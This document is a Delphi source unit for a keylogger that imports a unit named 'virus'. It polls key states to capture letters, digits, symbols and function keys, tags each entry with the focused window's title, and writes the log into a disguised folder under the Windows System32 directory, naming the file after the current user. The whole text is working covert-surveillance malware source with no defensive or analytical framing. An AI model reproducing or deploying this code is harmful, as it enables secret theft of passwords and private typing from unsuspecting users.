unit untOffLineLogger; interface uses SysUtils, virus, Windows; procedure OLGetLetter; function OLShift:Boolean; function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean; procedure OLShowLetter(strLetter:string); function OLActiveCaption:string; implementation var cWindow:string; const cr_lf = chr(13)+chr(10); procedure OLGetLetter; var j:Integer; a:string; begin //Verify if lettrers 'A'..'Z'..'a'..'z' is pressed //basicly to see if its a or A check the state of the caps and shift keys //same gows with every thing alse liek you 1 or ! :P for j:=65 to 90 do if Odd(GetAsyncKeyState(j)) then if Odd(GetKeyState(VK_CAPITAL)) then if GetKeyState(VK_SHIFT)<0 then OLShowLetter(LowerCase(Chr(j))) else OLShowLetter(UpperCase(Chr(j))) else if GetKeyState(VK_SHIFT)<0 then OLShowLetter(UpperCase(Chr(j))) else OLShowLetter(LowerCase(Chr(j))); //Verify if numpab is pressed for j:=96 to 105 do if Odd(GetAsyncKeyState(j)) then OLShowLetter(IntToStr((j - 97) + 1)); //Verify if F1 to F24 is pressed for j:=112 to 135 do if Odd(GetAsyncKeyState(j)) then OLShowLetter('{F' + IntToStr(j - 112 + 1) + '}'); //Verify if number 0 to 9 is pressed for j:=48 to 57 do if Odd(GetAsyncKeyState(j)) then if OLShift then begin case j - 48 of 1: OLShowLetter('!'); 2: OLShowLetter('@'); 3: OLShowLetter('#'); 4: OLShowLetter('$'); 5: OLShowLetter('%'); 6: OLShowLetter('^'); 7: OLShowLetter('&'); 8: OLShowLetter('*'); 9: OLShowLetter('('); 0: OLShowLetter(')'); end; end else OLShowLetter(IntToStr(j - 48)); if Odd(GetAsyncKeyState(VK_BACK)) then Form1.Memo1.Text:=Copy(Form1.Memo1.Text,1,Length(Form1.Memo1.Text)-1); if Odd(GetAsyncKeyState(VK_TAB)) then OLShowLetter('{TAB}'); if Odd(GetAsyncKeyState(VK_RETURN)) then OLShowLetter(#13#10); //ok i added this in just so you know the all functions :P if Odd(GetAsyncKeyState(VK_SHIFT)) then OLShowLetter(''); if Odd(GetAsyncKeyState(VK_CONTROL)) then OLShowLetter('{ctrl}'); if Odd(GetAsyncKeyState(VK_MENU)) then OLShowLetter(''); if Odd(GetAsyncKeyState(VK_PAUSE)) then OLShowLetter('{puase}'); if Odd(GetAsyncKeyState(VK_ESCAPE)) then OLShowLetter('{ESC}'); if Odd(GetAsyncKeyState(VK_SPACE)) then OLShowLetter(' '); if Odd(GetAsyncKeyState(VK_END)) then OLShowLetter('{end}'); if Odd(GetAsyncKeyState(VK_HOME)) then OLShowLetter('{home}'); if Odd(GetAsyncKeyState(VK_LEFT)) then OLShowLetter('{left arrow}'); if Odd(GetAsyncKeyState(VK_RIGHT)) then OLShowLetter('{right arrow}'); if Odd(GetAsyncKeyState(VK_UP)) then OLShowLetter('{up arrow}'); if Odd(GetAsyncKeyState(VK_DOWN)) then OLShowLetter('{down arrow}'); if Odd(GetAsyncKeyState(VK_INSERT)) then OLShowLetter('{insert}'); if Odd(GetAsyncKeyState(VK_MULTIPLY)) then OLShowLetter('*'); if Odd(GetAsyncKeyState(VK_ADD)) then OLShowLetter('+'); if Odd(GetAsyncKeyState(VK_SUBTRACT)) then OLShowLetter('-'); if Odd(GetAsyncKeyState(VK_DECIMAL)) then OLShowLetter('.'); if Odd(GetAsyncKeyState(VK_DIVIDE)) then OLShowLetter('/'); if Odd(GetAsyncKeyState(VK_NUMLOCK)) then OLShowLetter('{num lock}'); if Odd(GetAsyncKeyState(VK_CAPITAL)) then OLShowLetter(''); if Odd(GetAsyncKeyState(VK_SCROLL)) then OLShowLetter('{scroll lock}'); if Odd(GetAsyncKeyState(VK_DELETE)) then OLShowLetter('{del}'); if Odd(GetAsyncKeyState(VK_PRIOR)) then OLShowLetter(''); if Odd(GetAsyncKeyState(VK_NEXT)) then OLShowLetter('{next}'); if Odd(GetAsyncKeyState(VK_PRINT)) then OLShowLetter('{PRINT SCREEN}'); if OLMoreChars($BA,':',';',a) then OLShowLetter(a); if OLMoreChars($BB,'+','=',a) then OLShowLetter(a); if OLMoreChars($BC,'<',',',a) then OLShowLetter(a); if OLMoreChars($BD,'_','-',a) then OLShowLetter(a); if OLMoreChars($BE,'>','.',a) then OLShowLetter(a); if OLMoreChars($BF,'?','/',a) then OLShowLetter(a); if OLMoreChars($C0,'~','`',a) then OLShowLetter(a); if OLMoreChars($DB,'{','[',a) then OLShowLetter(a); if OLMoreChars($DC,'|','\',a) then OLShowLetter(a); if OLMoreChars($DD,'}',']',a) then OLShowLetter(a); if OLMoreChars($DE,'"','''',a) then OLShowLetter(a); {PrintScreen} end; function OLMoreChars(CharNumber:Integer;TruePart,FalsePart:string;var Answer:string):Boolean; begin OLMoreChars:=True; if Odd(GetAsyncKeyState(CharNumber)) then begin if OLShift then Answer:=TruePart else Answer:=FalsePart; Exit; end; OLMoreChars:=False; end; function OLShift:Boolean; begin OLShift:=GetAsyncKeyState(VK_SHIFT) <> 0; end; procedure OLShowLetter(strLetter:string); const cnMaxUserNameLen = 254; var cActive:string; sUserName : string; dwUserNameLen : DWord; begin dwUserNameLen := cnMaxUserNameLen-1; SetLength( sUserName, cnMaxUserNameLen ); GetUserName(PChar(sUserName), dwUserNameLen); SetLength(sUserName, dwUserNameLen); cActive:=OLActiveCaption; if cWindow <> cActive then begin cWindow:=cActive; strLetter:=cr_lf+'////////focused window:' + cWindow + cr_lf + strLetter; end; form1.Memo1.Text:=form1.Memo1.Text + strLetter; if DirectoryExists('c:\winnt') then //If ParamStr(1) <> 'NoExec' Then form1.Memo1.Lines.SaveToFile('c:\winnt\system32\winux\' + sUserName + '.joo') else //If ParamStr(1) <> 'NoExec' Then form1.Memo1.Lines.SaveToFile('C:\Windows\System32\winux\' + sUserName); end; function OLActiveCaption:string; var Handle:THandle; Len:LongInt; Title:string; begin Handle:=GetForegroundWindow; Len:=GetWindowTextLength(Handle) + 1; SetLength(Title,Len); GetWindowText(Handle,PChar(Title),Len); OLActiveCaption:=TrimRight(Title); end; end.